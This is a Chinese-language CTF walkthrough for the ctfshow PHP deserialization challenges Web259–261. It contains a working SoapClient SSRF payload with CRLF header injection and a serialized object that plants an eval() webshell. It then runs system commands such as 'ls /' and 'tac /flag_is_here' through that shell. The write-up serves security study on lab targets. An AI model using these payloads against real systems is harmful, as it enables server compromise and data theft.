ctfshow(259->261)--反序列化漏洞--原生类与更多魔术方法

Web259

进入界面,回显如下:

复制代码
highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

题干里还提示了网站有一个flag.php界面,源代码如下:

复制代码
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

代码审计:

explode()用于切割字符串。第一个参数是切割符,第二个参数是被切割的字符串。该函数返回一个数组

$_SERVER['HTTP_X_FORWARDED_FOR']获取用户的IP地址。

所以 explode(',', $_SERVER['HTTP_X_FORWARDED_FOR'])就是获取用户的IP地址,用分隔符逗号,切割不同IP地址,并返回一个数组。

array_pop() 删除数组的最后一个元素。返回数组的最后一个值。

所以array_pop($xff); $ip = array_pop($xff);就是先删除数组的最后一个值,再将被删减过的数组的最后一个值赋值给$ip

if条件语句要求$ip的值为127.0.0.1,且POST传参token=ctfshow。

file_put_contents('flag.txt', $flag)将变量flag写入文件flag.txt中。

思路:

在index.php页面下通过反序列化,向flag.php文件发送请求,执行其中的file_put_contents方法,将flag放入flag.txt文件中,然后访问flag.php。

反序列化得到对象$vip后,vip会调用getFlag()方法。

但明显该方法不存在,而PHP中存在一种魔术方法 __call() ,当对象调用不存在的方法时,就会调用__call()方法。

PHP原生类SoapClient可以向网站发送请求,并且其中存在__call()方法,所以我们使用将vip实例化为SoapClient的对象。(要在php.ini中开启php_soap服务

SoapClient的构造函数:public __construct(?string $wsdl, array $options = [])

第一个参数设置为null即可,第二个数组参数则必需包含uri和location。

脚本构造如下:

复制代码
$ua = "Firefox\r\nContent-Type:application/x-www-form-urlencoded\r\nX-Forwarded-For:127.0.0.1,127.0.0.1\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
//请求头之间用\r\n隔开 与请求体之间用\r\n\r\n隔开
$vip = new SoapClient(null,array(
    'uri' => '127.0.0.1',
    'location' => 'http://127.0.0.1/flag.php',
    'user_agent' => $ua
));

echo urlencode(serialize($vip));

EXP:

payload:

复制代码
https://29b9092a-65ed-4299-9bf2-4c208c6003c9.challenge.ctf.show/
?vip=O%3A10%3A%22SoapClient%22%3A4%3A%7Bs%3A3%3A%22uri%22%3Bs%3A9%3A%22127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A11%3A%22_user_agent%22%3Bs%3A128%3A%22Firefox%0D%0AContent-Type%3Aapplication%2Fx-www-form-urlencoded%0D%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0D%0AContent-Length%3A13%0D%0A%0D%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

此时flag已经成功写入flag.txt中,访问flag.txt得到flag.

Web260

源代码:

复制代码
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){
    echo $flag;
}

代码审计:

包含了flag.php文件,序列化了参数ctfshow,并在参数中匹配字符串ctfshow_i_love_36D。

思路:

我们向序列化函数serialize()传入字符串时,返回值中还是有该字符串的内容:

因此直接给参数赋值为匹配的字符串即可。

EXP:

payload:

复制代码
https://ef0558b0-355c-4f58-9236-c5a5a596124b.challenge.ctf.show/
?ctfshow=ctfshow_i_love_36D

得到flag.

Web261

源代码:

复制代码
class ctfshowvip{
    public $username;
    public $password;
    public $code;

    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __wakeup(){
        if($this->username!='' || $this->password!=''){
            die('error');
        }
    }
    public function __invoke(){
        eval($this->code);
    }

    public function __sleep(){
        $this->username='';
        $this->password='';
    }
    public function __unserialize($data){
        $this->username=$data['username'];
        $this->password=$data['password'];
        $this->code = $this->username.$this->password;
    }
    public function __destruct(){
        if($this->code==0x36d){
            file_put_contents($this->username, $this->password);
        }
    }
}

unserialize($_GET['vip']);

代码审计:

ctfshowvip类中有六个魔术方法,其中构造方法__construct和析构方法__destruct我们已经知晓,接下来介绍其它四种魔术方法。

__wakeup :当我们要调用反序列化函数unserialize时,系统会先调用__wakeup方法。
__invoke :当我们将一个对象当作函数调用时,系统将调用__invoke方法。

比如vip是一个对象,但是我们用 vip() 这样的形式使用它,__invoke方法就被调用。
__sleep :与__wakeup相对,__sleep用于将对象序列化之前。
__unserialize : 该魔术方法用于PHP7.4.0及之后的版本。当__unserialize与__wakeup方法同时存在时,将忽略__wakeup而执行__unserialize.

本程序只使用了unserialize,所以在反序列化之前调用了__unserialize方法,之后使用__destruct方法。

思路:

本题要想获取flag,我们要实现RCE操作。

可知code是由username和password拼接起来的,只要code==0x36d,就能将password的数据写入以username命名的文件。

所以username的值应该是一个.php文件,password的值应该是一句话木马。

构造脚本如下:

复制代码
class ctfshowvip{
    public $username = '877.php';
    public $password = '<?php eval($_GET[1]);?>';
    public $code;
}

$vip = new ctfshowvip();
echo urlencode(serialize($vip));

这样拼接之后的$code=877.php<?php eval($_GET[1]);?>

此时code是字符串类型,以数字877开头,这样在与数字0x36d弱比较时,就会将code的值转换为877,从而实现code=0x36d的效果。

到此,我们成功创建了877.php文件,并将<?php eval($_GET[1]);?>写入了文件中,进入该文件,我们即可实现shell.

EXP:

创建文件实现shell:

复制代码
https://07291a90-0ef7-42d4-b2ac-9339517ff8fb.challenge.ctf.show/
vip=O%3A10%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A7%3A%22877.php%22%3Bs%3A8%3A%22password%22%3Bs%3A23%3A%22%3C%3Fphp+eval%28%24_GET%5B1%5D%29%3B%3F%3E%22%3Bs%3A4%3A%22code%22%3BN%3B%7D

在877.php下进行RCE:

复制代码
https://07291a90-0ef7-42d4-b2ac-9339517ff8fb.challenge.ctf.show/877.php
?1=system('ls');

当前目录下有以下两个文件:

明显flag不在当前目录,我们找一下其他目录:

复制代码
https://07291a90-0ef7-42d4-b2ac-9339517ff8fb.challenge.ctf.show/877.php
?1=system('ls /');

在根目录下找到了文件flag_is_here

读取该文件:

复制代码
https://07291a90-0ef7-42d4-b2ac-9339517ff8fb.challenge.ctf.show/877.php
?1=system('tac /flag_is_here');

得到flag.

相关推荐
用户9623779544820 小时前
DVWA 靶场实验报告 (High Level)
安全
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——在 n8n 中构建你的第一个 AI 工作流
人工智能·安全·agent
数据智能老司机1 天前
用于进攻性网络安全的智能体 AI——智能体 AI 入门
人工智能·安全·agent
用户962377954481 天前
DVWA 靶场实验报告 (Medium Level)
安全
red1giant_star1 天前
S2-067 漏洞复现:Struts2 S2-067 文件上传路径穿越漏洞
安全
用户962377954481 天前
DVWA Weak Session IDs High 的 Cookie dvwaSession 为什么刷新不出来?
安全
cipher3 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行6 天前
网络安全总结
安全·web安全
red1giant_star6 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
ZeroNews内网穿透6 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全